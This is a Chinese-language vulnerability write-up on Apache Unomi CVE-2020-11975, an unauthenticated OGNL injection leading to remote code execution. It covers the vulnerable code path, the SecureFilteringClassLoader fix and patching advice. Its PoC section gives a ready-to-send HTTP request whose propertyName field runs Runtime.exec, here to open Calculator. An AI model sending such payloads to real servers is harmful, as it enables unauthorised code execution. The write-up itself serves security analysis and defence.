漏洞分析 - Apache Unomi RCE 第1篇 OGNL注入(CVE-2020-11975)
字数 1436 2025-08-19 12:41:20
Apache Unomi RCE漏洞分析(CVE-2020-11975):OGNL注入漏洞详解
1. Apache Unomi概述
Apache Unomi是一个Java开源客户数据平台,主要用途包括:
- 在各种系统(CMS、CRM、问题跟踪系统、移动应用等)中整合个性化功能
- 提供配置文件管理功能
- 2019年成为Apache顶级项目,具有高度可扩展性和易用性
2. 漏洞基本信息
漏洞编号:CVE-2020-11975
漏洞类型:OGNL注入导致的远程代码执行(RCE)
影响版本:Apache Unomi < 1.5.1
触发前提:无需身份验证,能访问到服务即可利用
漏洞发现者:Yiming Xiang of NSFOCUS
3. 漏洞原理分析
3.1 漏洞背景
Unomi提供了:
- 受限API(需要授权)用于数据操作
- 公开endpoint用于上传和检索用户数据
Unomi允许在这些endpoint的HTTP请求中包含复杂的conditions(条件),这些条件依赖于表达式语言(如OGNL或MVEL)来构造复杂查询。
3.2 漏洞根源
在1.5.1之前的版本中,表达式语言(OGNL/MVEL)完全不受限制,导致可以通过EL注入实现RCE。
关键问题代码位于:
plugins/baseplugin/src/main/java/org/apache/unomi/plugins/baseplugin/conditions/PropertyConditionEvaluator.java
public class PropertyConditionEvaluator implements ConditionEvaluator {
protected Object getOGNLPropertyValue(Item item, String expression) throws Exception {
ExpressionAccessor accessor = getPropertyAccessor(item, expression);
return accessor != null ? accessor.get(getOgnlContext(), item) : null;
}
}
3.3 漏洞触发流程
- Unomi接收包含恶意OGNL表达式的JSON请求
- 系统首先尝试查找硬编码属性
- 若未找到,则调用
getOGNLPropertyValue方法 - 该方法将用户输入的属性名作为OGNL表达式直接执行
ExpressionAccessor使用默认参数执行OGNL表达式,导致任意代码执行
4. 漏洞利用(PoC)
4.1 攻击示例
POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 749
{
"personalizations": [{
"id": "gender-test_anystr",
"strategy": "matching-first",
"strategyOptions": {
"fallback": "var2"
},
"contents": [{
"filters": [{
"condition": {
"parameterValues": {
"propertyName": "(#r=@java.lang.Runtime@getRuntime()).(#r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))",
"comparisonOperator": "equals_anystr",
"propertyValue": "male_anystr"
},
"type": "profilePropertyCondition"
}
}]
}]
}],
"sessionId": "test-demo-session-id"
}
4.2 攻击效果
成功执行系统命令(如打开计算器),响应返回200 OK。
5. 漏洞修复分析
5.1 修复方案
主要修复措施是引入SecureFilteringClassLoader限制OGNL和MVEL表达式的执行。
5.1.1 OGNL修复代码
protected Object getOGNLPropertyValue(Item item, String expression) throws Exception {
ClassLoader secureFilteringClassLoader = new SecureFilteringClassLoader(PropertyConditionEvaluator.class.getClassLoader());
OgnlContext ognlContext = getOgnlContext(secureFilteringClassLoader);
ExpressionAccessor accessor = getPropertyAccessor(item, expression, ognlContext, secureFilteringClassLoader);
return accessor != null ? accessor.get(ognlContext, item) : null;
}
5.1.2 MVEL修复代码
private static Object executeScript(Map<String, Object> context, String script) {
final ClassLoader tccl = Thread.currentThread().getContextClassLoader();
try {
if (!mvelExpressions.containsKey(script)) {
ClassLoader secureFilteringClassLoader = new SecureFilteringClassLoader(ConditionContextHelper.class.getClassLoader());
Thread.currentThread().setContextClassLoader(secureFilteringClassLoader);
ParserConfiguration parserConfiguration = new ParserConfiguration();
parserConfiguration.setClassLoader(secureFilteringClassLoader);
mvelExpressions.put(script, MVEL.compileExpression(script, new ParserContext(parserConfiguration)));
}
return MVEL.executeExpression(mvelExpressions.get(script), context);
} finally {
Thread.currentThread().setContextClassLoader(tccl);
}
}
5.2 SecureFilteringClassLoader实现
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if (forbiddenClasses != null && classNameMatches(forbiddenClasses, name)) {
throw new ClassNotFoundException("Access to class " + name + " not allowed");
}
if (allowedClasses != null && !classNameMatches(allowedClasses, name)) {
throw new ClassNotFoundException("Access to class " + name + " not allowed");
}
return delegate.loadClass(name);
}
5.3 修复效果
-
对于OGNL表达式:
- 使用
@符号静态访问对象类时会调用loadClass() - 如
java.lang.Runtime.getRuntime()会被SecureFilteringClassLoader拦截
- 使用
-
对于MVEL表达式:
- 使用
new创建对象时会调用loadClass() - 只能创建来自allowlist的类实例
- 注意:未限制使用已存在的对象
- 使用
6. 漏洞总结
- CVE-2020-11975是OGNL注入漏洞,可导致无需认证的RCE
- 修复方案通过
SecureFilteringClassLoader限制危险类加载 - 修复同时考虑了OGNL和MVEL表达式
- 该修复不完全,后续被发现存在绕过(CVE-2020-13942)
7. 安全建议
- 升级到Apache Unomi 1.5.1或更高版本
- 实施网络访问控制,限制Unomi服务的访问范围
- 监控异常请求,特别是包含OGNL/MVEL表达式的请求
- 定期进行安全审计和漏洞扫描